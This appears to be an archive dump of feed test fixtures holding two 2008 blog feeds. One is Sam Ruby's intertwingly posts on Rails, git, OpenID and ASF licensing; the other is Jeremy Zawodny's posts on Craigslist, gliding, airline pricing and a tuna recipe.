    I have more work to do on individual post pages and on the archives.  The archives will continue to employ a table for the calendar.

     2008-06-24T19:10:50-04:00     tag:intertwingly.net,2004:2860 OpenID Check on Rails
    Looking at openidauthentication, it seem to do everything I want.  Since I am looking to check an identity during the processing of a request, I need to somehow have the id of the unprocessed record tag alone with the identity request.

    Looking at openidauthentication, it doesn’t seem to do everything I want.  Since I am looking to check an identity during the processing of a request, I don’t need a ‘login’, instead I need to somehow have the id of the unprocessed record tag alone with the identity request.

    The No Shit Guide is quite a bit simpler, but is based on the 1.1.x version of the ruby-openid library.

    This controller contains a simpler pair of methods (one public, one protected) that does what I want and can easily be adapted.  Simply drop these two methods into your favorite controller and modify the actions that are taken at the obvious points (DiscoveryFailure, success, failure, cancel, other).  At the moment, all that is done is that the data is logged and/or stashed into a session, but it could easily be modified so that a failure or cancel could trigger moderation, or a required preview, or a captcha, or whatever.

     2008-06-23T15:20:57-04:00     tag:intertwingly.net,2004:2859 Intertwingly on Git
    I’ve installed git and gitweb, and put up my initial code explorations for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it.

    I’ve installed git and gitweb, and put up my initial code explorations for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it:

    git clone http://code.intertwingly.net/public/git/riggr
rake db:migrate
rake test

    Initial impressions:

    • Git is fast
    • The integration with ssh and pre/post commit hooks makes even single developer apps a breeze.

    Links I found useful in the process:

    2008-06-19T16:09:25-04:00     tag:intertwingly.net,2004:2858 Atom-PubSub module for ejabberd
    Eric Cestari: This module will offer an AtomPub interface to ejabberd PubSub data... The AtomPub interface passes the Atom Protocol Exerciser (though some warnings remain).  It means that any AtomPub clients will be able to post to a specific node in your PubSub tree.  It also means that your PubSub tree will also be available as an AtomFeed.  [via kael]
     2008-06-19T06:35:00-04:00     tag:intertwingly.net,2004:2857 Intertwingly on Rails

    Views: index, post, comments, archives

    This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.

    Technology is Rails 2.0.2 on SQLite3 using Phusion Passenger on Dreamhost.

    Views: index, post, comments, archives

    This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.

    Technology is Rails 2.0.2 on SQLite3 using Phusion Passenger on Dreamhost.

    Installation would have been a simple scp except for two issues: despite what it says in this list, the sqlite3-ruby gem does not appear to be installed.  And the current date on the machine appears to be Feb 15, 3155.

    For the model part, I can’t quite bear to break with the idea of flat files yet, so the model consists of two tables: posts and comments, and each contain dates and file name parts only.  The remainder of the model is populated using an after_find hook from the flat files.

    With my current Intertwingly, I had three views that had diverged over time, as well as a “partial” which contained the navigation bar.  The front page (and comments page) are clean XHTML5, individual posts are XHTML1, and the archives are based a layout that I used back when I was on Radio Userland.  In the Rails implementation, I have four views and a layout (index and comments becoming separate views).  Having a common layout encourages consistency, and you can see the difference in the archive view already.  More work needs to be done on the individual posts view.

    The controller methods are positively pedestrian at this point.  They simply obtain the necessary information from the model, and then proceed to render the associated view.

    This is but a modest beginning... allowing people to enter new comments, openid, implementing spam avoidance measures, automated extraction of excerpts, ... the list goes on and on.  But first, I plan to put this code under version control (probably git), and implement a test suite.

     2008-06-16T14:53:44-04:00     tag:intertwingly.net,2004:2856 Advertise One Feed Format

    Nelson Minar starts a meme.  Rafe Colburn waters it down.  I’ve watered it down even further.

    Whatever you call your feed, Safari will call it RSS.  Don’t sweat the small stuff.

    Which format should you pick?  I’d suggest that you pick whichever one that you can consistently produce with the fewest errors and warnings detected by the feedvalidator.  Test with Iñtërnâtiônàlizætiøn and ampersands in titles.  June, particularly in the UK is also a good time to test.

     2008-06-13T20:42:30-04:00     tag:intertwingly.net,2004:2855 RX for Pain

    Tim Bray: There is quite a bit of disgruntlement about XML and Ruby right at this point in time

    I’m scheduled to give a talk about this subject and more at OSCON next month.  Short summary: if you are a markup geek (i.e., deal with things like HTML or XML), and expect things to “just work”, now is not a great time to be exploring Ruby 1.9.  The biggest issue is that bug reports and suggestions don’t seem to attract the necessary cycles from the key developers.

    Hopefully, venues like OSCON can help draw attention to this important issue.

     2008-06-11T10:40:52-04:00     tag:intertwingly.net,2004:2854 Sausages and Uncertainty
    Yesterday we had an ASF members meeting.  You can see the board results here.  I was asked about the status of the ASF third party licensing policy.  Luckily I had prepared in advance.
    Scales of Justice. Based on work Copyright 2007 by Ken A L Coar. All rights reserved. The design and this SVG rendition are protected by copyright law, and may not be used or reproduced without the express permission of the author, coar@apache.org.

    I’ve often found lawyers frustrating.  No matter how carefully you craft a question to only permit answers of yes or no, they always seem to find a way to pick door number 3.

    Given that, I should have known better in July when I volunteered to take over a vacancy as Chair of the ASF Legal Affairs Committee when Cliff Schmidt decided to devote more of his time to Literacy Bridge.  And I certainly should have known better than to volunteer to take an unfinished third party licensing policy to completion.

    Fast forward to yesterday.  We had an ASF members meeting.  You can see the board results here.  New members were elected too — those names will dribble out as they are informed and (hopefully) accept.

    At that meeting, the tables were turned.  Instead of it being me crying for a simple yes or no answer, a number of members, led by Stefano and Ben led the charge and came after me complete with torches and pitchforks.  OK, so I’m exaggerating slightly.  There were no torches.  And only really tiny pitchforkes.  Actually they weren’t pitchforks at all — more like Monty Python-esque taunting.  Oh, and it was not directed at me, exactly.  Just at the lack of closure.  On what clearly must be a series of simple yes and no questions.  I mean really.  For example, is the Creative Commons Attribution license version 2.5 compatible with the Apache License version 2.0?  Surely that is a yes or no question, right?  Actually, no.  But we can quickly come up with a set of guidelines that everybody can live with.  And, after all is said and done, isn’t that what everybody really needs?

    But I digress.  Where was I?  Oh, yes, the meeting.  Luckily I had prepared in advance.

    My plans here on out is to push for Category X licenses as well as the transition examples to be added to the resolved legal questions.  And to state that the work on best practices and specific limited exemptions for all other licenses (effectively all the licenses known to be in category B, and all licenses yet to be explored) is ongoing.  And with that jedi-like hand wave coupled with the Apache secret weapon: namely an open invitation for all those who are affected by this to join legal-discuss and help work out the issues (also known as the where’s your patch? or thanks for volunteering defense), the villages will once again be peaceful.

    Wish me luck.  Oh, and don’t tell anybody about my secret plan.  Nobody reads my blog anyway.

    And if any of you out there are lawyers: I’m sorry for the trouble I’ve given you in the past.

     2008-06-06T08:20:07-04:00     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-jeremy.zawodny.com-blog-rss2.xml0000664000175000017500000016564312653701626027102 0ustar janjan Jeremy Zawodny's blog http://jeremy.zawodny.com/blog/ Random thoughts on technology, aviation, and life in general... en-us Jeremy@Zawodny.com Copyright 2008 2008-07-22T07:20:07-08:00 hourly 1 2000-01-01T12:00+00:00 Subscribe with My Yahoo!Subscribe with NewsGatorSubscribe with My AOLSubscribe with RojoSubscribe with BloglinesSubscribe with NetvibesSubscribe with GoogleSubscribe with Pageflakes Settling in to a New Environment at Craigslist http://feeds.zawodny.com/~r/jzawodn/rss2/~3/342600770/010461.html Wifi networks visible from the Craigslist Annex Yesterday was my first day as an employee at craiglist. Several folks on Twitter asked how it was, so here are my thoughts.

    First off, it was a bit like a first day anywhere. I had several new people to meet, a bunch of paperwork to fill out for benefits and payroll stuff, and started to get an overview of how things work.

    Unlike jobs in larger organizations, I had the pleasure of un-boxing and setting up my chair, desktop, and laptop computers. There's no "IT group" to do this stuff and that's perfectly fine with me. That's just one of the ways the size difference between a company of less than 30 people becomes apparent when you're used to well over 10,000. Specialization just can't take hold in a smaller group like that.

    Aside from a new job and new people and new computer(s), I'm also in a newish office that's referred to as "the annex." It's just down the street from the main craigslist office but isn't nearly as full yet.

    Unlike Yahoo, there are many, many places to eat within a very short walk from the office. To get a sense of how dense an area I'm in, check out all the wifi networks visible from my desk. At Yahoo, we were in a corporate campus environment, so all you saw were Yahoo networks.

    At the end of yesterday, I'd setup the bare minimum stuff on my new laptop (a 15.4" ThinkPad T61 running Ubuntu), desktop (also running Ubuntu), many accounts and passwords, email access, an IRC client for our internal channel, got wiki access, and a few other bits.

    I'm looking forward to learning what makes things tick and how I can make the better. I'm already getting a sense for the challenges we face in running such a popular service with a small team.

    Honestly, it's a refreshing change from the larger environments that I've worked in before. Plus, the commute wasn't as bad as I expected yesterday. Thanks to all the tips and advice I got last time, I headed up with the right expectations. That makes a difference.

    (comments)

    ]]>     10461@http://jeremy.zawodny.com/blog/ Wifi networks visible from the Craigslist Annex Yesterday was my first day as an employee at craiglist. Several folks on Twitter asked how it was, so here are my thoughts.

    First off, it was a bit like a first day anywhere. I had several new people to meet, a bunch of paperwork to fill out for benefits and payroll stuff, and started to get an overview of how things work.

    Unlike jobs in larger organizations, I had the pleasure of un-boxing and setting up my chair, desktop, and laptop computers. There's no "IT group" to do this stuff and that's perfectly fine with me. That's just one of the ways the size difference between a company of less than 30 people becomes apparent when you're used to well over 10,000. Specialization just can't take hold in a smaller group like that.

    Aside from a new job and new people and new computer(s), I'm also in a newish office that's referred to as "the annex." It's just down the street from the main craigslist office but isn't nearly as full yet.

    Unlike Yahoo, there are many, many places to eat within a very short walk from the office. To get a sense of how dense an area I'm in, check out all the wifi networks visible from my desk. At Yahoo, we were in a corporate campus environment, so all you saw were Yahoo networks.

    At the end of yesterday, I'd setup the bare minimum stuff on my new laptop (a 15.4" ThinkPad T61 running Ubuntu), desktop (also running Ubuntu), many accounts and passwords, email access, an IRC client for our internal channel, got wiki access, and a few other bits.

    I'm looking forward to learning what makes things tick and how I can make the better. I'm already getting a sense for the challenges we face in running such a popular service with a small team.

    Honestly, it's a refreshing change from the larger environments that I've worked in before. Plus, the commute wasn't as bad as I expected yesterday. Thanks to all the tips and advice I got last time, I headed up with the right expectations. That makes a difference.

    (comments)

    ]]>     craigslist 2008-07-22T07:20:07-08:00 http://jeremy.zawodny.com/blog/archives/010461.html     The Truth about Web Navigation http://feeds.zawodny.com/~r/jzawodn/rss2/~3/338522163/010453.html In Will Mainstream Users Ever Learn About The Browser's Address Bar?, Marshall probes a bit into how people use the browser's search box vs. the address bar.

    A lot of people seem surprised to learn that tons of people every day are "searching" for ebay.com or aol.com or just "ebay" or "aol" even though they can type those things into their address bar and get exactly what they want.

    I think part of the problem is the myth perpetuated by the search companies themselves. They all know that the top search terms every year are not "britney spears" or "ipone" or whatever.

    They're domain names or domain names without the .com on the end of them. Lots of people search Google every day for "yahoo." People search Yahoo for "google." And AOL. And eBay. And so on.

    They all filter out those "navigational" queries when reporting those things. I'm not sure who they're trying to protect by doing so, but I certainly could speculate.

    Everyone in the search business seems to mostly get this. The folks at those big destinations (like eBay) know this too. They have logs. But the rest of the techie population on-line seems to believe that normal people use the web the same we do.

    They don't. And they never will.

    Get it through your collective heads, please.

    People don't get DNS, domain names, or the difference between searching and direct navigation. And since they all know what it means "to google" that's exactly what they do. You can either accept that or deny the truth.

    That's why you're seeing numbers like this every quarter.

    This ends today's reality check. Please go back to trying to change the world by explaining what the address bar is for. :-)

    Oh, here's a bonus tip: normal people can't tell the difference between AdSense style ads and all the other links on most web sites. And almost the same number don't know what "sponsored results" on the Search Results Page are either. It's just a page of links to them. They click the ones that look like they'll get them what they want. It's that simple.

    (comments)

    ]]>     10453@http://jeremy.zawodny.com/blog/ In Will Mainstream Users Ever Learn About The Browser's Address Bar?, Marshall probes a bit into how people use the browser's search box vs. the address bar.

    A lot of people seem surprised to learn that tons of people every day are "searching" for ebay.com or aol.com or just "ebay" or "aol" even though they can type those things into their address bar and get exactly what they want.

    I think part of the problem is the myth perpetuated by the search companies themselves. They all know that the top search terms every year are not "britney spears" or "ipone" or whatever.

    They're domain names or domain names without the .com on the end of them. Lots of people search Google every day for "yahoo." People search Yahoo for "google." And AOL. And eBay. And so on.

    They all filter out those "navigational" queries when reporting those things. I'm not sure who they're trying to protect by doing so, but I certainly could speculate.

    Everyone in the search business seems to mostly get this. The folks at those big destinations (like eBay) know this too. They have logs. But the rest of the techie population on-line seems to believe that normal people use the web the same we do.

    They don't. And they never will.

    Get it through your collective heads, please.

    People don't get DNS, domain names, or the difference between searching and direct navigation. And since they all know what it means "to google" that's exactly what they do. You can either accept that or deny the truth.

    That's why you're seeing numbers like this every quarter.

    This ends today's reality check. Please go back to trying to change the world by explaining what the address bar is for. :-)

    Oh, here's a bonus tip: normal people can't tell the difference between AdSense style ads and all the other links on most web sites. And almost the same number don't know what "sponsored results" on the Search Results Page are either. It's just a page of links to them. They click the ones that look like they'll get them what they want. It's that simple.

    (comments)

    ]]>     Random 2008-07-17T17:21:17-08:00 http://jeremy.zawodny.com/blog/archives/010453.html     Weight Based Pricing of Airline Tickets http://feeds.zawodny.com/~r/jzawodn/rss2/~3/335445342/010438.html Ever since fuel prices have been on the rise, I've wondered why airlines don't price tickets based on weight rather than the current system where pricing is related to factors that few of us understand.

    I mean, really, if it costs more to fly a 300 pound person than a 180 pound person, why shouldn't the 300 pound person pay more?

    And by "300 pound person" I'm including the 200 pound person that brings 100 pounds of baggage along. That costs money to fly too.

    We're sort of headed in that direction with extra costs for extra bags, but why not just go all the way? Make the pricing fair. Airlines can compete on a dollars per pound from point A to point B.

    airliner

    Clearly the airlines are desperate to save weight.

    This might encourage people to pack less junk. That's save fuel costs, baggage handline time, and so on. It might even encourage frequent flies to think twice about eating that Cinnabon "treat" before getting on board.

    Would that be so bad?

    After all, when it comes to buying gas at the pump for our cars, we each pay for what we use. The people who are moving heavier loads (either themselves or their cars) buy more gas and the gas stations "compete" on a dollars per gallon basis. There's no flat fee to fill up a car based on when you decided you need to fill up.

    Same with electricity. And water. And so many other things in life.

    Let's pay the actual cost and no pretend that moving a 12 year old across country uses the same amount of fuel as her overweight 48 year old father.

    Have there been airlines that tried this in the past? Did they end up only flying supermodels and skinny people around? Did people pack less baggage?

    Update: See the comments on FriendFeed too.

    (comments)

    ]]>     10438@http://jeremy.zawodny.com/blog/ Ever since fuel prices have been on the rise, I've wondered why airlines don't price tickets based on weight rather than the current system where pricing is related to factors that few of us understand.

    I mean, really, if it costs more to fly a 300 pound person than a 180 pound person, why shouldn't the 300 pound person pay more?

    And by "300 pound person" I'm including the 200 pound person that brings 100 pounds of baggage along. That costs money to fly too.

    We're sort of headed in that direction with extra costs for extra bags, but why not just go all the way? Make the pricing fair. Airlines can compete on a dollars per pound from point A to point B.

    airliner

    Clearly the airlines are desperate to save weight.

    This might encourage people to pack less junk. That's save fuel costs, baggage handline time, and so on. It might even encourage frequent flies to think twice about eating that Cinnabon "treat" before getting on board.

    Would that be so bad?

    After all, when it comes to buying gas at the pump for our cars, we each pay for what we use. The people who are moving heavier loads (either themselves or their cars) buy more gas and the gas stations "compete" on a dollars per gallon basis. There's no flat fee to fill up a car based on when you decided you need to fill up.

    Same with electricity. And water. And so many other things in life.

    Let's pay the actual cost and no pretend that moving a 12 year old across country uses the same amount of fuel as her overweight 48 year old father.

    Have there been airlines that tried this in the past? Did they end up only flying supermodels and skinny people around? Did people pack less baggage?

    Update: See the comments on FriendFeed too.

    (comments)

    ]]>     Random 2008-07-14T14:11:50-08:00 http://jeremy.zawodny.com/blog/archives/010438.html     Congrats to Yahoo! on the BOSS Launch http://feeds.zawodny.com/~r/jzawodn/rss2/~3/331772938/010425.html One of the more ambitious projects in the works when I left Yahoo was BOSS, a more open Yahoo! Search for developers and publishers. I see that BOSS launched today and wanted to say congrats to my friends in the Yahoo! Developer Network and Yahoo! Search.

    Marshall Kirkpatrick said it well in his ReadWrite Web post today:

    It is clear, though, that BOSS falls well within the company's overall technical strategy of openness. When it comes to web standards, openness and support for the ecosystem of innovation - there may be no other major vendor online as strong as Yahoo! is today. These are times of openness, where some believe that no single vendor's technology and genius alone can match the creativity of an empowered open market of developers. Yahoo! is positioning itself as leader of this movement.

    Well done.

    Keep on pushing...

    (comments)

    ]]>     10425@http://jeremy.zawodny.com/blog/ One of the more ambitious projects in the works when I left Yahoo was BOSS, a more open Yahoo! Search for developers and publishers. I see that BOSS launched today and wanted to say congrats to my friends in the Yahoo! Developer Network and Yahoo! Search.

    Marshall Kirkpatrick said it well in his ReadWrite Web post today:

    It is clear, though, that BOSS falls well within the company's overall technical strategy of openness. When it comes to web standards, openness and support for the ecosystem of innovation - there may be no other major vendor online as strong as Yahoo! is today. These are times of openness, where some believe that no single vendor's technology and genius alone can match the creativity of an empowered open market of developers. Yahoo! is positioning itself as leader of this movement.

    Well done.

    Keep on pushing...

    (comments)

    ]]>     Yahoo 2008-07-10T07:26:23-08:00 http://jeremy.zawodny.com/blog/archives/010425.html     This is a test http://feeds.zawodny.com/~r/jzawodn/rss2/~3/331363341/010423.html
    I decided to try this procedure to see if it worked for my old MT blog install. Sure enough, it seems to.

    Kick ass. Sort of.

    You see, I'm not sure I really want to write my blog posts in Google Docs. But it's nice to know that I can do this if I want to.

    Anyone else tried this yet?

    Hmm, checking the source, it seems that there's some funky stuff getting inserted in here. I'll have to see what I can do to clean that. For some reason, paragraph <p> tags don't appear anywhere. It seems to use break <br> tags instead. That's annoying.

    (comments)

    ]]>     10423@http://jeremy.zawodny.com/blog/
    I decided to try this procedure to see if it worked for my old MT blog install. Sure enough, it seems to.

    Kick ass. Sort of.

    You see, I'm not sure I really want to write my blog posts in Google Docs. But it's nice to know that I can do this if I want to.

    Anyone else tried this yet?

    Hmm, checking the source, it seems that there's some funky stuff getting inserted in here. I'll have to see what I can do to clean that. For some reason, paragraph <p> tags don't appear anywhere. It seems to use break <br> tags instead. That's annoying.

    (comments)

    ]]>     2008-07-09T20:15:31-08:00 http://jeremy.zawodny.com/blog/archives/010423.html     Grilled Tuna Steaks Recipe http://feeds.zawodny.com/~r/jzawodn/rss2/~3/330822398/010421.html Yesterday night I made grilled tuna for the first time. And the consensus is that the results were mighty fine. So good, in fact, that paying restaurant prices for the fish was still worth it. (Yeah, tuna is a bit more pricy than I expected...)

    Grilled Tuna

    Here's what you need to make the marinade spread:

    4 peeled garlic cloves
    1 tablespoon coarse salt (sea salt)
    1 tablespoon dried oregano leaves
    1 tablespoon dried basil leaves
    1 teaspoon freshly ground black pepper
    1/2 cup extra-virgin olive oil (possibly more)
    4 tuna steaks (6-8 ounces each, roughly 1 inch thick)
    8 bay leaves

    And how to do it:

    1. Combine the garlic, salt, pepper, oregano, and basil in a mortar and grind it into a paste with pestle. Add the olive oil a bit at a time until you achieve the consistency o of a spreadable paste.
    2. Rinse the tuna steaks under cold water and blot dry with a paper towel. Then cover both sides of the tuna with the marinade paste. Put the tuna into a small baking dish or pan and add the extra olive oil. Flip the tuna to get oil on both sides and then add a bay leaf to the top and bottom side of each tuna steak.
    3. Cover the tuna steaks and refrigerate for 3-4 hours.

    Finally, cooking instructions:

    Rinse and dry the tuna steaks and then apply a little olive oil to both sides. Pre-heat the grill for high heat, brush oil onto the grill, and begin grilling the tuna. After 2 minutes, rotate the steaks 45 to 90 degrees for cosmetic grill marks. Grilling will take a total of 4-6 minutes on each side depending on thickness and taste.

    The final product (once sampled) looks like this:

    Grilled Tuna

    And it's quite good. :-)

    Enjoy!

    See Also: Using a 20 Pound Propane Tank with the Weber Baby Q Grill

    (comments)

    ]]>     10421@http://jeremy.zawodny.com/blog/ Yesterday night I made grilled tuna for the first time. And the consensus is that the results were mighty fine. So good, in fact, that paying restaurant prices for the fish was still worth it. (Yeah, tuna is a bit more pricy than I expected...)

    Grilled Tuna

    Here's what you need to make the marinade spread:

    4 peeled garlic cloves
    1 tablespoon coarse salt (sea salt)
    1 tablespoon dried oregano leaves
    1 tablespoon dried basil leaves
    1 teaspoon freshly ground black pepper
    1/2 cup extra-virgin olive oil (possibly more)
    4 tuna steaks (6-8 ounces each, roughly 1 inch thick)
    8 bay leaves

    And how to do it:

    1. Combine the garlic, salt, pepper, oregano, and basil in a mortar and grind it into a paste with pestle. Add the olive oil a bit at a time until you achieve the consistency o of a spreadable paste.
    2. Rinse the tuna steaks under cold water and blot dry with a paper towel. Then cover both sides of the tuna with the marinade paste. Put the tuna into a small baking dish or pan and add the extra olive oil. Flip the tuna to get oil on both sides and then add a bay leaf to the top and bottom side of each tuna steak.
    3. Cover the tuna steaks and refrigerate for 3-4 hours.

    Finally, cooking instructions:

    Rinse and dry the tuna steaks and then apply a little olive oil to both sides. Pre-heat the grill for high heat, brush oil onto the grill, and begin grilling the tuna. After 2 minutes, rotate the steaks 45 to 90 degrees for cosmetic grill marks. Grilling will take a total of 4-6 minutes on each side depending on thickness and taste.

    The final product (once sampled) looks like this:

    Grilled Tuna

    And it's quite good. :-)

    Enjoy!

    See Also: Using a 20 Pound Propane Tank with the Weber Baby Q Grill

    (comments)

    ]]>     Random 2008-07-09T07:10:06-08:00 http://jeremy.zawodny.com/blog/archives/010421.html     Crazy Yosemite Squirrel http://feeds.zawodny.com/~r/jzawodn/rss2/~3/328909194/010414.html A few weeks ago we ended up hiking the Mirror Lake Trail in Yosemite National Park and encountered an amusing little squirrel near the end of the trial. I just happened to have finished filming a deer that walked nearby, so I pointed the Canon SD800 at the little furball to see if he'd perform.

    Sure enough, he did. Check out the video.

    I have no idea if this is common or not, but we were all amused at the little stretching thing he did at the ~40 second mark.

    I also have some good photos of that hike (and the visit to Glacier Point) that should be coming online soon. Watch my Flickr photostream.

    (comments)

    ]]>     10414@http://jeremy.zawodny.com/blog/ A few weeks ago we ended up hiking the Mirror Lake Trail in Yosemite National Park and encountered an amusing little squirrel near the end of the trial. I just happened to have finished filming a deer that walked nearby, so I pointed the Canon SD800 at the little furball to see if he'd perform.

    Sure enough, he did. Check out the video.

    I have no idea if this is common or not, but we were all amused at the little stretching thing he did at the ~40 second mark.

    I also have some good photos of that hike (and the visit to Glacier Point) that should be coming online soon. Watch my Flickr photostream.

    (comments)

    ]]>     Random 2008-07-07T07:16:34-08:00 http://jeremy.zawodny.com/blog/archives/010414.html     First Flight of Cirrus The Jet http://feeds.zawodny.com/~r/jzawodn/rss2/~3/326685227/010409.html the jet Cirrus Design, the makers of the revolutionary SR-20 and SR-22 light airplanes, have flown their first VLJ (Very Light Jet) prototype: The Jet V1.

    Given the reputation that Cirrus Design has created for itself, "The Jet" is a highly anticipated jet. The all-new design should appeal to pilots of existing Cirrus aircraft looking to upgrade, as well as those currently flying aging twins which have high operating costs and slower cruise speeds.

    AVweb covered the story in this video and this article.

    The video is included below.

    It'll be interesting to see if they're able to hit all the price and performance targets they set out at the beginning of The Jet development. In the meantime, anyone have $1.5 million I can borrow to get one? :-)

    It occurs to me that there's a lot of development and excitement on both ends of the general aviation (GA) spectrum: light sport aircraft on the low end and VLJs on the high end. Hopefully fuel prices don't cut too deeply.

    (comments)

    ]]>     10409@http://jeremy.zawodny.com/blog/ the jet Cirrus Design, the makers of the revolutionary SR-20 and SR-22 light airplanes, have flown their first VLJ (Very Light Jet) prototype: The Jet V1.

    Given the reputation that Cirrus Design has created for itself, "The Jet" is a highly anticipated jet. The all-new design should appeal to pilots of existing Cirrus aircraft looking to upgrade, as well as those currently flying aging twins which have high operating costs and slower cruise speeds.

    AVweb covered the story in this video and this article.

    The video is included below.

    It'll be interesting to see if they're able to hit all the price and performance targets they set out at the beginning of The Jet development. In the meantime, anyone have $1.5 million I can borrow to get one? :-)

    It occurs to me that there's a lot of development and excitement on both ends of the general aviation (GA) spectrum: light sport aircraft on the low end and VLJs on the high end. Hopefully fuel prices don't cut too deeply.

    (comments)

    ]]>     Flying 2008-07-04T07:33:29-08:00 http://jeremy.zawodny.com/blog/archives/010409.html     A Day of Glider Extremes http://feeds.zawodny.com/~r/jzawodn/rss2/~3/325936913/010407.html A couple weekends ago we experienced a pair of glider extremes at Hollister on Saturday: one very short flight and one very long flight.

    The short one, unfortunately, was us. Kathleen and I headed down to fly the BASA Grob 103 on what was predicted to be an epic soaring day. And it was. Unfortunately, we got there a bit late and the weather had already developed quite a bit more than we expected.

    We towed toward the east hills and got off around 6,000 feet in what seemed like decent lift. But it was hard to stay with it and the high clouds from over-development in the Santa Cruz Mountains were quickly spreading. That blocked out the majority of sunlight and shut down most of the lift. We quickly went from "wow, this is going to be a good day" to "gee, let's see if we can find enough lift to keep from having to land soon."

    Before long, we were getting low and had to head back to the airport. But there was one big a problem. A wall of clouds and rain was approaching from the west and brought a wall of dust on the ground to match. There was a very visible gust front headed directly toward the airport. Folks on the radio were advising pilots to stay away because of the 30 knot crosswind.

    We were getting so low at that point that I didn't like the idea of flying back through possible sink and a definite headwind just to land at an unsafe airport. Luckily we were just a few miles from the private Christensen airport, so I put the nose down and headed straight to the runway at maneuvering speed (Va). No pattern. I knew where the wind was and decided to land downhill but into the wind.

    All the the while, we were watching lightning strikes in the Santa Cruz Mountains from the approaching storm--some of which started a few of the 1,000+ wild fires that have burned so much of the California countryside.

    Anyway, before long we were on the ground and sitting in the glider while the storms passed. And after the fun passed, I got on the phone to call for a retrieve.

    Waiting for a Retrieve

    This goes down in my book as my shortest (distance and time) cross country flight. Ever.

    *sigh*

    More pictures available in my Christensen Landout on Flickr.

    And for something completely different...

    In related but much better news, Hollister glider pilot Eric Rupp set a new distance record the same day, flying his DG-300 glider from Hollister to Calexico, California--right on the Mexico border. This amazing 782.66 kilometer flight has been the subject of much planning and speculation until Eric finally pulled it off. It was an amazing combination of great weather, timing, and piloting.

    You can see flight details on OLC and his SPOT Satellite Messenger kept the rest of us informed on the ground while he was flying.

    Eric's epic flight was covered a bit in the press as well:

    Congrats to Eric on an amazing and inspiring flight.

    (comments)

    ]]>     10407@http://jeremy.zawodny.com/blog/ A couple weekends ago we experienced a pair of glider extremes at Hollister on Saturday: one very short flight and one very long flight.

    The short one, unfortunately, was us. Kathleen and I headed down to fly the BASA Grob 103 on what was predicted to be an epic soaring day. And it was. Unfortunately, we got there a bit late and the weather had already developed quite a bit more than we expected.

    We towed toward the east hills and got off around 6,000 feet in what seemed like decent lift. But it was hard to stay with it and the high clouds from over-development in the Santa Cruz Mountains were quickly spreading. That blocked out the majority of sunlight and shut down most of the lift. We quickly went from "wow, this is going to be a good day" to "gee, let's see if we can find enough lift to keep from having to land soon."

    Before long, we were getting low and had to head back to the airport. But there was one big a problem. A wall of clouds and rain was approaching from the west and brought a wall of dust on the ground to match. There was a very visible gust front headed directly toward the airport. Folks on the radio were advising pilots to stay away because of the 30 knot crosswind.

    We were getting so low at that point that I didn't like the idea of flying back through possible sink and a definite headwind just to land at an unsafe airport. Luckily we were just a few miles from the private Christensen airport, so I put the nose down and headed straight to the runway at maneuvering speed (Va). No pattern. I knew where the wind was and decided to land downhill but into the wind.

    All the the while, we were watching lightning strikes in the Santa Cruz Mountains from the approaching storm--some of which started a few of the 1,000+ wild fires that have burned so much of the California countryside.

    Anyway, before long we were on the ground and sitting in the glider while the storms passed. And after the fun passed, I got on the phone to call for a retrieve.

    Waiting for a Retrieve

    This goes down in my book as my shortest (distance and time) cross country flight. Ever.

    *sigh*

    More pictures available in my Christensen Landout on Flickr.

    And for something completely different...

    In related but much better news, Hollister glider pilot Eric Rupp set a new distance record the same day, flying his DG-300 glider from Hollister to Calexico, California--right on the Mexico border. This amazing 782.66 kilometer flight has been the subject of much planning and speculation until Eric finally pulled it off. It was an amazing combination of great weather, timing, and piloting.

    You can see flight details on OLC and his SPOT Satellite Messenger kept the rest of us informed on the ground while he was flying.

    Eric's epic flight was covered a bit in the press as well:

    Congrats to Eric on an amazing and inspiring flight.

    (comments)

    ]]>     Flying 2008-07-03T09:48:05-08:00 http://jeremy.zawodny.com/blog/archives/010407.html     Two Tech Jobs: Technology Evangelist and Network Operations http://feeds.zawodny.com/~r/jzawodn/rss2/~3/325471132/010405.html Technology Evangelist at New York City Based Startup

    If you saw Fred Wilson's post Are You A Connector?, you know a bit about this job already. It's a NYC based startup developing a new platform in an area that's likely to see serious growth in the next few years.

    They're looking for someone with coding experience who loves showing other developers and users how stuff works: on stage, via blogs, in screencasts, and so on. It's important that this person have a technical (programming) background and also be very comfortable getting in front of people to demo and speak.

    The company is New York based and this job is too. However, I'm told that a Bay Area candidate may work as well, since a presence here will be important. Otherwise, I'm sure that frequent travel to the Bay Area will be part of the gig.

    The company is still a bit stealthy but more information will be forthcoming soon.

    Ping me if you're interested and I'll put you in touch.

    Network/Systems Administrator at Rapleaf in San Francisco

    The folks at Rapleaf ping me from time to time looking for talented engineers too. Here's the description of the position they're currently hiring for.

    Rapleaf is a well-funded San Francisco startup (we’re currently at 15 people). We gather publicly available information from the social web on hundreds of millions of people to enable developers and companies to give their consumers a better user experience. Rapleaf has built the largest portable social graph in the world. We provide rich insight on customers for clients such as retailers, airlines, hotel chains, social networks, lead gen firms, telcos, political campaigns, financial services, and more (these companies learn about their consumers in order to give them a better user experience). The company has processed over 175 million unique searches for businesses and consumers.
    You will maintain Rapleaf’s entire infrastructure and enhance the system to do great things as we’re on the trajectory to change the world. Helping grow one of the largest and most complex databases for a small start-up.

    Role:

    • Manage all Rapleaf servers (Linux – CentOS, Redhat), backups, web servers (Apache clusters)
    • Manage relationship with hosting provider and hardware vendors
    • Scalability and expansion (Hadoop)
    • Systems administration (DNS,LDAP,NFS,TCP/IP,SELinux)
    • Some scripting (Shell, Ruby, Python, or Perl)
    • Administer MySQL databases (multi-master replication, snapshot backups)
    • Learn how to scale with Ruby on Rails
    • Manage complex Java systems
    • Manage billions of data items of pages being served
    • On-call duty
    Note: this job is really hard. You’ll be working with some of the top search engineers in the world and they are going to expect that you kick ass. We’re doing things that no one has ever done before and solving problems that have been open for years.

    Qualifications:

    • Master of all things Internet and Linux.
    • Incredibly smart, can learn fast, and takes no prisoners
    • Learn new platforms fast. We use Ruby on Rails and Java … you can pick this up quickly.
    • Intensely driven and proactive person.
    • Extremely hard working. This is a start-up - team members work long hours.
    • Quick learner and real doer. Err on execution over strategy.
